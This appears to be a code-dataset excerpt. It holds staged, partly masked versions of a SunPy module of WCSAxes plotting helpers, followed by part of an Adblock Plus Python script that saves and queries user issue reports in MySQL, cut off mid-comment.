`~astropy.visualization.wcsaxes.WCSAxes` object to draw the world\n coordinate grid on.\n \"\"\"\n axes.coords.grid(color='white', alpha=0.6, linestyle='dotted',\n linewidth=0.5)\n\n\n@u.quantity_input\ndef wcsaxes_heliographic_overlay(axes, grid_spacing: u.deg=10 * u.deg,\n annotate=True, obstime=None, rsun=None, observer=None, system=\n 'stonyhurst', **kwargs):\n \"\"\"\n Create a heliographic overlay using\n `~astropy.visualization.wcsaxes.WCSAxes`.\n\n Will draw a grid and label the top axes.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes`\n The `~astropy.visualization.wcsaxes.WCSAxes` object to create the overlay on.\n grid_spacing: `~astropy.units.Quantity`\n Spacing for longitude and latitude grid in degrees.\n annotate : `bool`\n Passing `False` disables the axes labels and the ticks on the top and right axes.\n obstime : `~astropy.time.Time`\n The ``obstime`` to use for the grid coordinate frame.\n rsun : `~astropy.units.Quantity`\n The ``rsun`` to use for the grid coordinate frame.\n observer : `~astropy.coordinates.SkyCoord`\n The ``observer`` to use for the grid coordinate frame. Only used for\n Carrington coordinates.\n system : str\n Coordinate system for the grid. Must be 'stonyhurst' or 'carrington'.\n If 'carrington', the ``observer`` keyword argument must be specified.\n kwargs :\n Additional keyword arguments are passed to\n :meth:`astropy.visualization.wcsaxes.CoordinateHelper.grid`.\n\n Returns\n -------\n `~astropy.visualization.wcsaxes.WCSAxes`\n The overlay object.\n\n Notes\n -----\n Keywords are passed to `~astropy.visualization.wcsaxes.coordinates_map.CoordinatesMap.grid`.\n \"\"\"\n if isinstance(grid_spacing, u.Quantity) and grid_spacing.size == 1:\n lon_space = lat_space = grid_spacing\n elif grid_spacing.size == 2:\n lon_space, lat_space = grid_spacing\n else:\n raise ValueError(\n 'grid_spacing must be a Quantity of length one or two.')\n if system == 'stonyhurst':\n overlay = axes.get_coords_overlay(HeliographicStonyhurst(obstime=\n obstime, rsun=rsun))\n elif system == 'carrington':\n overlay = axes.get_coords_overlay(HeliographicCarrington(obstime=\n obstime, observer=observer, rsun=rsun))\n else:\n raise ValueError(\n f\"system must be 'stonyhurst' or 'carrington' (got '{system}')\")\n c1, c2 = axes.coords\n c1.set_ticks_position('bl')\n c2.set_ticks_position('bl')\n lon = overlay[0]\n lat = overlay[1]\n if Version(astropy_version) >= Version('5.3.dev'):\n lon.coord_wrap = 180 * u.deg\n else:\n lon.coord_wrap = 180\n lon.set_major_formatter('dd')\n if annotate:\n lon.set_axislabel(f'{system.capitalize()} Longitude', minpad=0.8)\n lat.set_axislabel(f'{system.capitalize()} Latitude', minpad=0.9)\n lon.set_ticks_position('tr')\n lat.set_ticks_position('tr')\n else:\n lat.set_ticks_visible(False)\n lon.set_ticks_visible(False)\n lat.set_ticklabel_visible(False)\n lon.set_ticklabel_visible(False)\n grid_kw = {'color': 'white', 'zorder': 100, 'alpha': 0.5}\n grid_kw.update(kwargs)\n tick_color = grid_kw['color'] if 'color' in kwargs else 'k'\n lon.set_ticks(spacing=lon_space, color=tick_color)\n lat.set_ticks(spacing=lat_space, color=tick_color)\n overlay.grid(**grid_kw)\n if axes.title:\n x, y = axes.title.get_position()\n axes.title.set_position([x, y + 0.08])\n return overlay\n", "step-2": "<mask token>\n\n\ndef is_wcsaxes(axes):\n \"\"\"\n Tests a `matplotlib.axes.Axes` object to see if it is an instance of\n `~astropy.visualization.wcsaxes.WCSAxes`.\n\n Parameters\n ----------\n axes : `matplotlib.axes`\n Axes to test.\n\n Returns\n -------\n `bool`\n Result of the test.\n \"\"\"\n return isinstance(axes, wcsaxes.WCSAxes)\n\n\ndef gca_wcs(wcs, fig=None, slices=None):\n \"\"\"\n Get the current axes, or create a new `~astropy.visualization.wcsaxes.WCSAxes`\n if ``fig`` has no axes.\n\n Parameters\n ----------\n wcs : `astropy.wcs.WCS`\n A `~astropy.wcs.WCS` object used to create a new axes.\n fig : `matplotlib.figure.Figure`\n The figure in which to check for the axes. If ``None``, the current\n figure is used (or a new one created if there are no current figures).\n slices : `tuple`\n ``slices`` is passed to `~astropy.visualization.wcsaxes.WCSAxes` to describe\n which two dimensions of the `~astropy.wcs.WCS` object are being plotted.\n This slices the multidimensional wcs object in the way it needs to be sliced.\n\n Returns\n -------\n `matplotlib.axes.Axes` or `~astropy.visualization.wcsaxes.WCSAxes`\n The current axes, or a new one if created.\n \"\"\"\n if not fig:\n fig = plt.gcf()\n if not len(fig.get_axes()):\n ax = plt.axes(projection=wcs, slices=slices)\n else:\n ax = plt.gca()\n return ax\n\n\ndef get_world_transform(axes):\n \"\"\"\n Get the transformation to world coordinates.\n\n If the axes is a `~astropy.visualization.wcsaxes.WCSAxes` instance this\n returns the transform to the \"world\" coordinates, otherwise it returns\n the transform to the matplotlib data coordinates, which are assumed to be in\n world coordinates.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes` or `~matplotlib.axes.Axes`\n The axes to get the transform from.\n\n Returns\n -------\n `~matplotlib.transforms.CompositeGenericTransform`\n The transformation object.\n \"\"\"\n if is_wcsaxes(axes):\n transform = axes.get_transform('world')\n else:\n transform = axes.transData\n return transform\n\n\ndef default_wcs_grid(axes):\n \"\"\"\n Apply some default `~astropy.visualization.wcsaxes.WCSAxes` grid\n formatting.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes`\n The `~astropy.visualization.wcsaxes.WCSAxes` object to draw the world\n coordinate grid on.\n \"\"\"\n axes.coords.grid(color='white', alpha=0.6, linestyle='dotted',\n linewidth=0.5)\n\n\n@u.quantity_input\ndef wcsaxes_heliographic_overlay(axes, grid_spacing: u.deg=10 * u.deg,\n annotate=True, obstime=None, rsun=None, observer=None, system=\n 'stonyhurst', **kwargs):\n \"\"\"\n Create a heliographic overlay using\n `~astropy.visualization.wcsaxes.WCSAxes`.\n\n Will draw a grid and label the top axes.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes`\n The `~astropy.visualization.wcsaxes.WCSAxes` object to create the overlay on.\n grid_spacing: `~astropy.units.Quantity`\n Spacing for longitude and latitude grid in degrees.\n annotate : `bool`\n Passing `False` disables the axes labels and the ticks on the top and right axes.\n obstime : `~astropy.time.Time`\n The ``obstime`` to use for the grid coordinate frame.\n rsun : `~astropy.units.Quantity`\n The ``rsun`` to use for the grid coordinate frame.\n observer : `~astropy.coordinates.SkyCoord`\n The ``observer`` to use for the grid coordinate frame. Only used for\n Carrington coordinates.\n system : str\n Coordinate system for the grid. Must be 'stonyhurst' or 'carrington'.\n If 'carrington', the ``observer`` keyword argument must be specified.\n kwargs :\n Additional keyword arguments are passed to\n :meth:`astropy.visualization.wcsaxes.CoordinateHelper.grid`.\n\n Returns\n -------\n `~astropy.visualization.wcsaxes.WCSAxes`\n The overlay object.\n\n Notes\n -----\n Keywords are passed to `~astropy.visualization.wcsaxes.coordinates_map.CoordinatesMap.grid`.\n \"\"\"\n if isinstance(grid_spacing, u.Quantity) and grid_spacing.size == 1:\n lon_space = lat_space = grid_spacing\n elif grid_spacing.size == 2:\n lon_space, lat_space = grid_spacing\n else:\n raise ValueError(\n 'grid_spacing must be a Quantity of length one or two.')\n if system == 'stonyhurst':\n overlay = axes.get_coords_overlay(HeliographicStonyhurst(obstime=\n obstime, rsun=rsun))\n elif system == 'carrington':\n overlay = axes.get_coords_overlay(HeliographicCarrington(obstime=\n obstime, observer=observer, rsun=rsun))\n else:\n raise ValueError(\n f\"system must be 'stonyhurst' or 'carrington' (got '{system}')\")\n c1, c2 = axes.coords\n c1.set_ticks_position('bl')\n c2.set_ticks_position('bl')\n lon = overlay[0]\n lat = overlay[1]\n if Version(astropy_version) >= Version('5.3.dev'):\n lon.coord_wrap = 180 * u.deg\n else:\n lon.coord_wrap = 180\n lon.set_major_formatter('dd')\n if annotate:\n lon.set_axislabel(f'{system.capitalize()} Longitude', minpad=0.8)\n lat.set_axislabel(f'{system.capitalize()} Latitude', minpad=0.9)\n lon.set_ticks_position('tr')\n lat.set_ticks_position('tr')\n else:\n lat.set_ticks_visible(False)\n lon.set_ticks_visible(False)\n lat.set_ticklabel_visible(False)\n lon.set_ticklabel_visible(False)\n grid_kw = {'color': 'white', 'zorder': 100, 'alpha': 0.5}\n grid_kw.update(kwargs)\n tick_color = grid_kw['color'] if 'color' in kwargs else 'k'\n lon.set_ticks(spacing=lon_space, color=tick_color)\n lat.set_ticks(spacing=lat_space, color=tick_color)\n overlay.grid(**grid_kw)\n if axes.title:\n x, y = axes.title.get_position()\n axes.title.set_position([x, y + 0.08])\n return overlay\n", "step-3": "<mask token>\n__all__ = ['is_wcsaxes', 'gca_wcs', 'get_world_transform',\n 'default_wcs_grid', 'wcsaxes_heliographic_overlay']\n\n\ndef is_wcsaxes(axes):\n \"\"\"\n Tests a `matplotlib.axes.Axes` object to see if it is an instance of\n `~astropy.visualization.wcsaxes.WCSAxes`.\n\n Parameters\n ----------\n axes : `matplotlib.axes`\n Axes to test.\n\n Returns\n -------\n `bool`\n Result of the test.\n \"\"\"\n return isinstance(axes, wcsaxes.WCSAxes)\n\n\ndef gca_wcs(wcs, fig=None, slices=None):\n \"\"\"\n Get the current axes, or create a new `~astropy.visualization.wcsaxes.WCSAxes`\n if ``fig`` has no axes.\n\n Parameters\n ----------\n wcs : `astropy.wcs.WCS`\n A `~astropy.wcs.WCS` object used to create a new axes.\n fig : `matplotlib.figure.Figure`\n The figure in which to check for the axes. If ``None``, the current\n figure is used (or a new one created if there are no current figures).\n slices : `tuple`\n ``slices`` is passed to `~astropy.visualization.wcsaxes.WCSAxes` to describe\n which two dimensions of the `~astropy.wcs.WCS` object are being plotted.\n This slices the multidimensional wcs object in the way it needs to be sliced.\n\n Returns\n -------\n `matplotlib.axes.Axes` or `~astropy.visualization.wcsaxes.WCSAxes`\n The current axes, or a new one if created.\n \"\"\"\n if not fig:\n fig = plt.gcf()\n if not len(fig.get_axes()):\n ax = plt.axes(projection=wcs, slices=slices)\n else:\n ax = plt.gca()\n return ax\n\n\ndef get_world_transform(axes):\n \"\"\"\n Get the transformation to world coordinates.\n\n If the axes is a `~astropy.visualization.wcsaxes.WCSAxes` instance this\n returns the transform to the \"world\" coordinates, otherwise it returns\n the transform to the matplotlib data coordinates, which are assumed to be in\n world coordinates.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes` or `~matplotlib.axes.Axes`\n The axes to get the transform from.\n\n Returns\n -------\n `~matplotlib.transforms.CompositeGenericTransform`\n The transformation object.\n \"\"\"\n if is_wcsaxes(axes):\n transform = axes.get_transform('world')\n else:\n transform = axes.transData\n return transform\n\n\ndef default_wcs_grid(axes):\n \"\"\"\n Apply some default `~astropy.visualization.wcsaxes.WCSAxes` grid\n formatting.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes`\n The `~astropy.visualization.wcsaxes.WCSAxes` object to draw the world\n coordinate grid on.\n \"\"\"\n axes.coords.grid(color='white', alpha=0.6, linestyle='dotted',\n linewidth=0.5)\n\n\n@u.quantity_input\ndef wcsaxes_heliographic_overlay(axes, grid_spacing: u.deg=10 * u.deg,\n annotate=True, obstime=None, rsun=None, observer=None, system=\n 'stonyhurst', **kwargs):\n \"\"\"\n Create a heliographic overlay using\n `~astropy.visualization.wcsaxes.WCSAxes`.\n\n Will draw a grid and label the top axes.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes`\n The `~astropy.visualization.wcsaxes.WCSAxes` object to create the overlay on.\n grid_spacing: `~astropy.units.Quantity`\n Spacing for longitude and latitude grid in degrees.\n annotate : `bool`\n Passing `False` disables the axes labels and the ticks on the top and right axes.\n obstime : `~astropy.time.Time`\n The ``obstime`` to use for the grid coordinate frame.\n rsun : `~astropy.units.Quantity`\n The ``rsun`` to use for the grid coordinate frame.\n observer : `~astropy.coordinates.SkyCoord`\n The ``observer`` to use for the grid coordinate frame. Only used for\n Carrington coordinates.\n system : str\n Coordinate system for the grid. Must be 'stonyhurst' or 'carrington'.\n If 'carrington', the ``observer`` keyword argument must be specified.\n kwargs :\n Additional keyword arguments are passed to\n :meth:`astropy.visualization.wcsaxes.CoordinateHelper.grid`.\n\n Returns\n -------\n `~astropy.visualization.wcsaxes.WCSAxes`\n The overlay object.\n\n Notes\n -----\n Keywords are passed to `~astropy.visualization.wcsaxes.coordinates_map.CoordinatesMap.grid`.\n \"\"\"\n if isinstance(grid_spacing, u.Quantity) and grid_spacing.size == 1:\n lon_space = lat_space = grid_spacing\n elif grid_spacing.size == 2:\n lon_space, lat_space = grid_spacing\n else:\n raise ValueError(\n 'grid_spacing must be a Quantity of length one or two.')\n if system == 'stonyhurst':\n overlay = axes.get_coords_overlay(HeliographicStonyhurst(obstime=\n obstime, rsun=rsun))\n elif system == 'carrington':\n overlay = axes.get_coords_overlay(HeliographicCarrington(obstime=\n obstime, observer=observer, rsun=rsun))\n else:\n raise ValueError(\n f\"system must be 'stonyhurst' or 'carrington' (got '{system}')\")\n c1, c2 = axes.coords\n c1.set_ticks_position('bl')\n c2.set_ticks_position('bl')\n lon = overlay[0]\n lat = overlay[1]\n if Version(astropy_version) >= Version('5.3.dev'):\n lon.coord_wrap = 180 * u.deg\n else:\n lon.coord_wrap = 180\n lon.set_major_formatter('dd')\n if annotate:\n lon.set_axislabel(f'{system.capitalize()} Longitude', minpad=0.8)\n lat.set_axislabel(f'{system.capitalize()} Latitude', minpad=0.9)\n lon.set_ticks_position('tr')\n lat.set_ticks_position('tr')\n else:\n lat.set_ticks_visible(False)\n lon.set_ticks_visible(False)\n lat.set_ticklabel_visible(False)\n lon.set_ticklabel_visible(False)\n grid_kw = {'color': 'white', 'zorder': 100, 'alpha': 0.5}\n grid_kw.update(kwargs)\n tick_color = grid_kw['color'] if 'color' in kwargs else 'k'\n lon.set_ticks(spacing=lon_space, color=tick_color)\n lat.set_ticks(spacing=lat_space, color=tick_color)\n overlay.grid(**grid_kw)\n if axes.title:\n x, y = axes.title.get_position()\n axes.title.set_position([x, y + 0.08])\n return overlay\n", "step-4": "<mask token>\nimport matplotlib.pyplot as plt\nfrom packaging.version import Version\nimport astropy.units as u\nfrom astropy import __version__ as astropy_version\nfrom astropy.visualization import wcsaxes\nfrom sunpy.coordinates import HeliographicCarrington, HeliographicStonyhurst\n__all__ = ['is_wcsaxes', 'gca_wcs', 'get_world_transform',\n 'default_wcs_grid', 'wcsaxes_heliographic_overlay']\n\n\ndef is_wcsaxes(axes):\n \"\"\"\n Tests a `matplotlib.axes.Axes` object to see if it is an instance of\n `~astropy.visualization.wcsaxes.WCSAxes`.\n\n Parameters\n ----------\n axes : `matplotlib.axes`\n Axes to test.\n\n Returns\n -------\n `bool`\n Result of the test.\n \"\"\"\n return isinstance(axes, wcsaxes.WCSAxes)\n\n\ndef gca_wcs(wcs, fig=None, slices=None):\n \"\"\"\n Get the current axes, or create a new `~astropy.visualization.wcsaxes.WCSAxes`\n if ``fig`` has no axes.\n\n Parameters\n ----------\n wcs : `astropy.wcs.WCS`\n A `~astropy.wcs.WCS` object used to create a new axes.\n fig : `matplotlib.figure.Figure`\n The figure in which to check for the axes. If ``None``, the current\n figure is used (or a new one created if there are no current figures).\n slices : `tuple`\n ``slices`` is passed to `~astropy.visualization.wcsaxes.WCSAxes` to describe\n which two dimensions of the `~astropy.wcs.WCS` object are being plotted.\n This slices the multidimensional wcs object in the way it needs to be sliced.\n\n Returns\n -------\n `matplotlib.axes.Axes` or `~astropy.visualization.wcsaxes.WCSAxes`\n The current axes, or a new one if created.\n \"\"\"\n if not fig:\n fig = plt.gcf()\n if not len(fig.get_axes()):\n ax = plt.axes(projection=wcs, slices=slices)\n else:\n ax = plt.gca()\n return ax\n\n\ndef get_world_transform(axes):\n \"\"\"\n Get the transformation to world coordinates.\n\n If the axes is a `~astropy.visualization.wcsaxes.WCSAxes` instance this\n returns the transform to the \"world\" coordinates, otherwise it returns\n the transform to the matplotlib data coordinates, which are assumed to be in\n world coordinates.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes` or `~matplotlib.axes.Axes`\n The axes to get the transform from.\n\n Returns\n -------\n `~matplotlib.transforms.CompositeGenericTransform`\n The transformation object.\n \"\"\"\n if is_wcsaxes(axes):\n transform = axes.get_transform('world')\n else:\n transform = axes.transData\n return transform\n\n\ndef default_wcs_grid(axes):\n \"\"\"\n Apply some default `~astropy.visualization.wcsaxes.WCSAxes` grid\n formatting.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes`\n The `~astropy.visualization.wcsaxes.WCSAxes` object to draw the world\n coordinate grid on.\n \"\"\"\n axes.coords.grid(color='white', alpha=0.6, linestyle='dotted',\n linewidth=0.5)\n\n\n@u.quantity_input\ndef wcsaxes_heliographic_overlay(axes, grid_spacing: u.deg=10 * u.deg,\n annotate=True, obstime=None, rsun=None, observer=None, system=\n 'stonyhurst', **kwargs):\n \"\"\"\n Create a heliographic overlay using\n `~astropy.visualization.wcsaxes.WCSAxes`.\n\n Will draw a grid and label the top axes.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes`\n The `~astropy.visualization.wcsaxes.WCSAxes` object to create the overlay on.\n grid_spacing: `~astropy.units.Quantity`\n Spacing for longitude and latitude grid in degrees.\n annotate : `bool`\n Passing `False` disables the axes labels and the ticks on the top and right axes.\n obstime : `~astropy.time.Time`\n The ``obstime`` to use for the grid coordinate frame.\n rsun : `~astropy.units.Quantity`\n The ``rsun`` to use for the grid coordinate frame.\n observer : `~astropy.coordinates.SkyCoord`\n The ``observer`` to use for the grid coordinate frame. Only used for\n Carrington coordinates.\n system : str\n Coordinate system for the grid. Must be 'stonyhurst' or 'carrington'.\n If 'carrington', the ``observer`` keyword argument must be specified.\n kwargs :\n Additional keyword arguments are passed to\n :meth:`astropy.visualization.wcsaxes.CoordinateHelper.grid`.\n\n Returns\n -------\n `~astropy.visualization.wcsaxes.WCSAxes`\n The overlay object.\n\n Notes\n -----\n Keywords are passed to `~astropy.visualization.wcsaxes.coordinates_map.CoordinatesMap.grid`.\n \"\"\"\n if isinstance(grid_spacing, u.Quantity) and grid_spacing.size == 1:\n lon_space = lat_space = grid_spacing\n elif grid_spacing.size == 2:\n lon_space, lat_space = grid_spacing\n else:\n raise ValueError(\n 'grid_spacing must be a Quantity of length one or two.')\n if system == 'stonyhurst':\n overlay = axes.get_coords_overlay(HeliographicStonyhurst(obstime=\n obstime, rsun=rsun))\n elif system == 'carrington':\n overlay = axes.get_coords_overlay(HeliographicCarrington(obstime=\n obstime, observer=observer, rsun=rsun))\n else:\n raise ValueError(\n f\"system must be 'stonyhurst' or 'carrington' (got '{system}')\")\n c1, c2 = axes.coords\n c1.set_ticks_position('bl')\n c2.set_ticks_position('bl')\n lon = overlay[0]\n lat = overlay[1]\n if Version(astropy_version) >= Version('5.3.dev'):\n lon.coord_wrap = 180 * u.deg\n else:\n lon.coord_wrap = 180\n lon.set_major_formatter('dd')\n if annotate:\n lon.set_axislabel(f'{system.capitalize()} Longitude', minpad=0.8)\n lat.set_axislabel(f'{system.capitalize()} Latitude', minpad=0.9)\n lon.set_ticks_position('tr')\n lat.set_ticks_position('tr')\n else:\n lat.set_ticks_visible(False)\n lon.set_ticks_visible(False)\n lat.set_ticklabel_visible(False)\n lon.set_ticklabel_visible(False)\n grid_kw = {'color': 'white', 'zorder': 100, 'alpha': 0.5}\n grid_kw.update(kwargs)\n tick_color = grid_kw['color'] if 'color' in kwargs else 'k'\n lon.set_ticks(spacing=lon_space, color=tick_color)\n lat.set_ticks(spacing=lat_space, color=tick_color)\n overlay.grid(**grid_kw)\n if axes.title:\n x, y = axes.title.get_position()\n axes.title.set_position([x, y + 0.08])\n return overlay\n", "step-5": "\"\"\"\nThis module provides functions to make WCSAxes work in SunPy.\n\"\"\"\nimport matplotlib.pyplot as plt\nfrom packaging.version import Version\n\nimport astropy.units as u\nfrom astropy import __version__ as astropy_version\nfrom astropy.visualization import wcsaxes\n\nfrom sunpy.coordinates import HeliographicCarrington, HeliographicStonyhurst\n\n__all__ = [\"is_wcsaxes\", \"gca_wcs\", \"get_world_transform\",\n \"default_wcs_grid\", \"wcsaxes_heliographic_overlay\"]\n\n\ndef is_wcsaxes(axes):\n \"\"\"\n Tests a `matplotlib.axes.Axes` object to see if it is an instance of\n `~astropy.visualization.wcsaxes.WCSAxes`.\n\n Parameters\n ----------\n axes : `matplotlib.axes`\n Axes to test.\n\n Returns\n -------\n `bool`\n Result of the test.\n \"\"\"\n return isinstance(axes, wcsaxes.WCSAxes)\n\n\ndef gca_wcs(wcs, fig=None, slices=None):\n \"\"\"\n Get the current axes, or create a new `~astropy.visualization.wcsaxes.WCSAxes`\n if ``fig`` has no axes.\n\n Parameters\n ----------\n wcs : `astropy.wcs.WCS`\n A `~astropy.wcs.WCS` object used to create a new axes.\n fig : `matplotlib.figure.Figure`\n The figure in which to check for the axes. If ``None``, the current\n figure is used (or a new one created if there are no current figures).\n slices : `tuple`\n ``slices`` is passed to `~astropy.visualization.wcsaxes.WCSAxes` to describe\n which two dimensions of the `~astropy.wcs.WCS` object are being plotted.\n This slices the multidimensional wcs object in the way it needs to be sliced.\n\n Returns\n -------\n `matplotlib.axes.Axes` or `~astropy.visualization.wcsaxes.WCSAxes`\n The current axes, or a new one if created.\n \"\"\"\n if not fig:\n fig = plt.gcf()\n\n if not len(fig.get_axes()):\n ax = plt.axes(projection=wcs, slices=slices)\n else:\n ax = plt.gca()\n\n return ax\n\n\ndef get_world_transform(axes):\n \"\"\"\n Get the transformation to world coordinates.\n\n If the axes is a `~astropy.visualization.wcsaxes.WCSAxes` instance this\n returns the transform to the \"world\" coordinates, otherwise it returns\n the transform to the matplotlib data coordinates, which are assumed to be in\n world coordinates.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes` or `~matplotlib.axes.Axes`\n The axes to get the transform from.\n\n Returns\n -------\n `~matplotlib.transforms.CompositeGenericTransform`\n The transformation object.\n \"\"\"\n if is_wcsaxes(axes):\n transform = axes.get_transform('world')\n else:\n transform = axes.transData\n\n return transform\n\n\ndef default_wcs_grid(axes):\n \"\"\"\n Apply some default `~astropy.visualization.wcsaxes.WCSAxes` grid\n formatting.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes`\n The `~astropy.visualization.wcsaxes.WCSAxes` object to draw the world\n coordinate grid on.\n \"\"\"\n axes.coords.grid(color='white', alpha=0.6, linestyle='dotted',\n linewidth=0.5)\n\n\n@u.quantity_input\ndef wcsaxes_heliographic_overlay(axes, grid_spacing: u.deg = 10*u.deg, annotate=True,\n obstime=None, rsun=None, observer=None, system='stonyhurst',\n **kwargs):\n \"\"\"\n Create a heliographic overlay using\n `~astropy.visualization.wcsaxes.WCSAxes`.\n\n Will draw a grid and label the top axes.\n\n Parameters\n ----------\n axes : `~astropy.visualization.wcsaxes.WCSAxes`\n The `~astropy.visualization.wcsaxes.WCSAxes` object to create the overlay on.\n grid_spacing: `~astropy.units.Quantity`\n Spacing for longitude and latitude grid in degrees.\n annotate : `bool`\n Passing `False` disables the axes labels and the ticks on the top and right axes.\n obstime : `~astropy.time.Time`\n The ``obstime`` to use for the grid coordinate frame.\n rsun : `~astropy.units.Quantity`\n The ``rsun`` to use for the grid coordinate frame.\n observer : `~astropy.coordinates.SkyCoord`\n The ``observer`` to use for the grid coordinate frame. Only used for\n Carrington coordinates.\n system : str\n Coordinate system for the grid. Must be 'stonyhurst' or 'carrington'.\n If 'carrington', the ``observer`` keyword argument must be specified.\n kwargs :\n Additional keyword arguments are passed to\n :meth:`astropy.visualization.wcsaxes.CoordinateHelper.grid`.\n\n Returns\n -------\n `~astropy.visualization.wcsaxes.WCSAxes`\n The overlay object.\n\n Notes\n -----\n Keywords are passed to `~astropy.visualization.wcsaxes.coordinates_map.CoordinatesMap.grid`.\n \"\"\"\n # Unpack spacing\n if isinstance(grid_spacing, u.Quantity) and grid_spacing.size == 1:\n lon_space = lat_space = grid_spacing\n elif grid_spacing.size == 2:\n lon_space, lat_space = grid_spacing\n else:\n raise ValueError(\"grid_spacing must be a Quantity of length one or two.\")\n\n if system == 'stonyhurst':\n overlay = axes.get_coords_overlay(HeliographicStonyhurst(\n obstime=obstime, rsun=rsun))\n elif system == 'carrington':\n overlay = axes.get_coords_overlay(HeliographicCarrington(\n obstime=obstime, observer=observer, rsun=rsun))\n else:\n raise ValueError(f\"system must be 'stonyhurst' or 'carrington' (got '{system}')\")\n\n # Set the native coordinates to be bottom and left only so they don't share\n # axes with the overlay.\n c1, c2 = axes.coords\n c1.set_ticks_position('bl')\n c2.set_ticks_position('bl')\n\n lon = overlay[0]\n lat = overlay[1]\n\n # TODO: Remove when we depend on astropy 5.3\n if Version(astropy_version) >= Version(\"5.3.dev\"):\n lon.coord_wrap = 180 * u.deg\n else:\n lon.coord_wrap = 180\n lon.set_major_formatter('dd')\n\n if annotate:\n lon.set_axislabel(f'{system.capitalize()} Longitude', minpad=0.8)\n lat.set_axislabel(f'{system.capitalize()} Latitude', minpad=0.9)\n lon.set_ticks_position('tr')\n lat.set_ticks_position('tr')\n else:\n lat.set_ticks_visible(False)\n lon.set_ticks_visible(False)\n lat.set_ticklabel_visible(False)\n lon.set_ticklabel_visible(False)\n\n grid_kw = {'color': 'white', 'zorder': 100, 'alpha': 0.5}\n grid_kw.update(kwargs)\n\n # Don't plot white ticks by default (only if explicitly asked)\n tick_color = grid_kw['color'] if 'color' in kwargs else 'k'\n lon.set_ticks(spacing=lon_space, color=tick_color)\n lat.set_ticks(spacing=lat_space, color=tick_color)\n\n overlay.grid(**grid_kw)\n\n if axes.title:\n x, y = axes.title.get_position()\n axes.title.set_position([x, y + 0.08])\n\n return overlay\n", "step-ids": [ 4, 5, 6, 7, 8 ] }
[ 4, 5, 6, 7, 8 ]
# This file is part of the Adblock Plus web scripts, # Copyright (C) 2006-present eyeo GmbH # # Adblock Plus is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License version 3 as # published by the Free Software Foundation. # # Adblock Plus is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Adblock Plus. If not, see <http://www.gnu.org/licenses/>. import hashlib import hmac import base64 import MySQLdb import os import re import marshal import subprocess from sitescripts.utils import get_config, cached, get_template, anonymizeMail, sendMail def getReportSubscriptions(guid): cursor = get_db().cursor(MySQLdb.cursors.DictCursor) executeQuery(cursor, '''SELECT url, hasmatches FROM #PFX#sublists INNER JOIN #PFX#subscriptions ON (#PFX#sublists.list = #PFX#subscriptions.id) WHERE report = %s''', guid) rows = cursor.fetchall() cursor.close() return rows def getReports(startTime): count = 10000 offset = 0 while True: cursor = get_db().cursor(MySQLdb.cursors.DictCursor) executeQuery(cursor, '''SELECT guid, type, UNIX_TIMESTAMP(ctime) AS ctime, status, site, contact, comment, hasscreenshot, knownissues FROM #PFX#reports WHERE ctime >= FROM_UNIXTIME(%s) LIMIT %s OFFSET %s''', (startTime, count, offset)) rows = cursor.fetchall() cursor.close() if len(rows) == 0: break for row in rows: yield row offset += len(rows) def getReportsForUser(contact): cursor = get_db().cursor(MySQLdb.cursors.DictCursor) executeQuery(cursor, '''SELECT guid, type, UNIX_TIMESTAMP(ctime) AS ctime, status, site, contact, comment, hasscreenshot, knownissues FROM #PFX#reports WHERE contact = %s ORDER BY ctime DESC LIMIT 100''', contact) rows = cursor.fetchall() cursor.close() return rows def getReport(guid): cursor = get_db().cursor() executeQuery(cursor, 'SELECT dump FROM #PFX#reports WHERE guid = %s', guid) report = cursor.fetchone() if report == None: return None reportData = marshal.loads(report[0]) return reportData def saveReport(guid, reportData, isNew=False): cursor = get_db().cursor() screenshot = reportData.get('screenshot', None) if screenshot != None: reportData['hasscreenshot'] = 2 if reportData.get('screenshotEdited', False) else 1 try: saveScreenshot(guid, screenshot) except (TypeError, UnicodeEncodeError): reportData['hasscreenshot'] = 0 del reportData['screenshot'] knownIssues = len(reportData.get('knownIssues', [])) contact = getUserId(reportData.get('email', None)) if reportData.get('email', None) else None dumpstr = marshal.dumps(reportData) if contact != None and isNew: executeQuery(cursor, 'INSERT INTO #PFX#users (id, reports) VALUES (%s, 1) ON DUPLICATE KEY UPDATE reports = reports + 1', contact) executeQuery(cursor, '''INSERT INTO #PFX#reports (guid, type, ctime, site, comment, status, contact, hasscreenshot, knownissues, dump) VALUES (%(guid)s, %(type)s, FROM_UNIXTIME(%(ctime)s), %(site)s, %(comment)s, %(status)s, %(contact)s, %(hasscreenshot)s, %(knownissues)s, _binary %(dump)s) ON DUPLICATE KEY UPDATE type = %(type)s, site = %(site)s, comment = %(comment)s, status = %(status)s, hasscreenshot = %(hasscreenshot)s, knownissues = %(knownissues)s, dump = _binary %(dump)s''', {'guid': guid, 'type': reportData.get('type', None), 'ctime': reportData['time'], 'site': reportData.get('siteName', None), 'comment': reportData.get('comment', None), 'status': reportData.get('status', None), 'contact': contact, 'hasscreenshot': reportData.get('hasscreenshot', 0), 'knownissues': knownIssues, 'dump': dumpstr}) if len(reportData['subscriptions']) > 0: for sn in reportData['subscriptions']: executeQuery(cursor, 'SELECT id FROM #PFX#subscriptions WHERE url = %s', sn['id']) id = cursor.fetchone() if id != None: def filterMatch(f): return any(u == sn['id'] for u in f.get('subscriptions', [])) hasMatches = any(filterMatch(f) for f in reportData.get('filters', [])) executeQuery(cursor, 'INSERT IGNORE INTO #PFX#sublists (report, list, hasmatches) VALUES (%s, %s, %s)', (guid, id[0], hasMatches)) get_db().commit() reportData['guid'] = guid if contact: # TODO: The mail anonymization should 